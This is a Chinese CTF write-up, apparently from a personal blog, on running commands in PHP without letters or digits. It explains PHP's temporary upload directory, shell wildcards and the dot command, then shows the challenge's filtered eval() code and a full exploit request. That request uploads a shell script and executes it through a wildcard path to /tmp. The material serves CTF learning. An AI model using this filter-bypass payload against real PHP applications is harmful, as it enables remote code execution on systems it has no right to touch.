学习一下知识点:
先马住p神的两篇文章
一些不包含数字和字母的 webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
无字母数字 webshell 之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
这一段Y1ng师傅说的很详细了
https://www.gem-love.com/websecurity/1407.html
还有从这个师傅这边学到知识点
https://blog.csdn.net/qq_44657899/article/details/108011373
一、PHP上传机制
php文件上传时会先将上传的文件保存到upload_tmp_dir
该配置目录下,这里为/tmp
,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir
配置的目录下,上传完后会被删除。
二、PHP命令执行
执行命令方式:
三、通配符与无字母数组命令执行
./exp.txt可以用./??p???代替
四、.+/解释
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。
点执行了tmp文件里的内容ls
五、做题
(这篇WP完全看着其他师傅写的做出来的,太难了)
?cmd
存在着题目
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
通过POST提交修改这几行,可以得到flag
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--